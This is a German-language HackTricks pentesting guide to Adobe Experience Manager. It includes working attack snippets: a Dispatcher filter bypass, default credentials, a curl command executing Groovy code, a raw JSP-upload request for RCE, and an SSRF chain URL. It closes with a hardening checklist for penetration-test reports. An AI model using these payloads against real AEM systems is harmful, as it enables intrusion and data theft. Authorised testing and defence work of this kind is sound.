AEM (Adobe Experience Manager) Pentesting
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Adobe Experience Manager (AEM, Teil der Adobe Experience Cloud) ist ein Unternehmens-CMS, das auf Apache Sling/Felix (OSGi) und einem Java Content Repository (JCR) basiert. Aus der Perspektive eines Angreifers exponieren AEM-Instanzen sehr oft gefährliche Entwicklungsendpunkte, schwache Dispatcher-Regeln, Standardanmeldeinformationen und eine lange Liste von CVEs, die jedes Quartal gepatcht werden.
Die folgende Checkliste konzentriert sich auf extern erreichbare (unauth) Angriffsflächen, die in realen Engagements immer wieder auftauchen (2022-2025).
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Andere schnelle Indikatoren:
/etc.clientlibs/
statischer Pfad vorhanden (gibt JS/CSS zurück)./libs/granite/core/content/login.html
Anmeldeseite mit dem Banner „Adobe Experience Manager“.</script><!--/* CQ */-->
Kommentar am Ende des HTML.
2. Hochwertige nicht authentifizierte Endpunkte
Pfad | Was Sie erhalten | Anmerkungen |
---|---|---|
/.json , /.1.json | JCR-Knoten über DefaultGetServlet | Oft blockiert, aber Dispatcher-Bypass (siehe unten) funktioniert. |
/bin/querybuilder.json?path=/ | QueryBuilder API | Leak des Seitenbaums, interner Pfade, Benutzernamen. |
/system/console/status-* , /system/console/bundles | OSGi/Felix-Konsole | Standardmäßig 403; wenn exponiert & Anmeldeinformationen gefunden ⇒ Bundle-Upload RCE. |
/crx/packmgr/index.jsp | Paketmanager | Ermöglicht authentifizierte Inhalts-Pakete → JSP-Payload-Upload. |
/etc/groovyconsole/** | AEM Groovy-Konsole | Wenn exponiert → beliebige Groovy / Java-Ausführung. |
/libs/cq/AuditlogSearchServlet.json | Audit-Protokolle | Informationsoffenlegung. |
/libs/cq/ui/content/dumplibs.html | ClientLibs-Dump | XSS-Vektor. |
Dispatcher-Bypass-Trick
Die meisten Produktionsseiten befinden sich hinter dem Dispatcher (Reverse-Proxy). Seine Filterregeln können umgangen werden, indem eine erlaubte statische Erweiterung nach einem Semikolon oder kodierten Zeilenumbruch angehängt wird:
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Eine einzelne Anfrage wie oben offenbart häufig Benutzerprofilknoten mit E-Mail-Adressen. P-T Partners veröffentlichte gute Hinweise zu dieser Schwachstelle. 【】
3. Häufige Fehlkonfigurationen (immer noch aktiv im Jahr 2025)
- Anonymer POST-Servlet –
POST /.json
mit:operation=import
ermöglicht es, neue JCR-Knoten zu erstellen. Das Blockieren von*.json
POST im Dispatcher behebt das Problem. 【】 - Weltweit lesbare Benutzerprofile – Standard-ACL gewährt
jcr:read
auf/home/users/**/profile/*
für alle. - Standardanmeldeinformationen –
admin:admin
,author:author
,replication:replication
. - WCMDebugFilter aktiviert ⇒ reflektiertes XSS über
?debug=layout
(CVE-2016-7882, immer noch bei Legacy 6.4-Installationen gefunden). - Groovy-Konsole exponiert – Remote-Code-Ausführung durch das Senden eines Groovy-Skripts:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
4. Jüngste Schwachstellen (Service-Pack-Taktung)
Quartal | CVE | Betroffen | Auswirkung |
---|---|---|---|
Dez 2024 | CVE-2024-43711 | 6.5.21 und früher | Unzureichende Eingangsvalidierung → Willkürliche Codeausführung (benötigt Authentifizierung mit niedrigen Rechten). 【】 |
Dez 2024 | CVE-2024-43724/26 | 6.5.21 und früher | DOM / Stored XSS im Move Page Wizard. 【】 |
Dez 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | DOM-basiertes XSS über eine gestaltete URL. 【】 |
Dez 2022 | CVE-2022-30683 | ≤ 6.5.13 | Krypto-Designfehler → geheime Entschlüsselung (benötigt Anmeldeinformationen mit niedrigen Rechten). 【】 |
Überprüfen Sie immer das APSB-Bulletin, das dem Service-Pack des Kunden entspricht, und fordern Sie das neueste 6.5.22 oder Cloud Service 2024.11 an.
5. Ausnutzungs-Snippets
5.1 RCE über Dispatcher-Bypass + JSP-Upload
Wenn anonymes Schreiben möglich ist:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Jetzt anfordern /content/evil.jsp
– das JSP läuft mit dem AEM-Prozessbenutzer.
5.2 SSRF zu RCE (historisch < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py
von aem-hacker automatisiert die gesamte Kette. 【】
6. Tooling
- aem-hacker – Schweizer Taschenmesser für die Enumeration, unterstützt Dispatcher-Bypass, SSRF-Erkennung, Standard-Credentials-Überprüfungen und mehr.
python3 aem_hacker.py -u https://target --host attacker-ip
- Content Brute-force – rekursiv
/_jcr_content.(json|html)
anfordern, um versteckte Komponenten zu entdecken. - osgi-infect – bösartiges OSGi-Bundle über
/system/console/bundles
hochladen, wenn Credentials verfügbar sind.
7. Hardening-Checkliste (für die Empfehlungen Ihres Berichts)
- Halten Sie die Instanz auf dem neueste kumulative Servicepack (Stand Juli 2025: 6.5.22).
- Entfernen/rotieren Sie Standardkonten; erzwingen Sie SSO/SAML.
- Verschärfen Sie die Dispatcher-Filter – verweigern Sie
;
, kodierte Zeilenumbrüche und*.json
oder*.querybuilder.json
für anonyme Benutzer. - Deaktivieren oder schützen Sie Konsolen (
/system/console
,/crx/*
,/etc/groovyconsole
) mit IP-Whitelist. - Wenden Sie das Anonymous Permission Hardening-Paket an, das von Adobe bereitgestellt wird.
References
- Adobe Security Bulletin APSB24-69 – „Sicherheitsupdates für Adobe Experience Manager (Dez 2024)“.
- 0ang3el – aem-hacker Tool (GitHub).
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.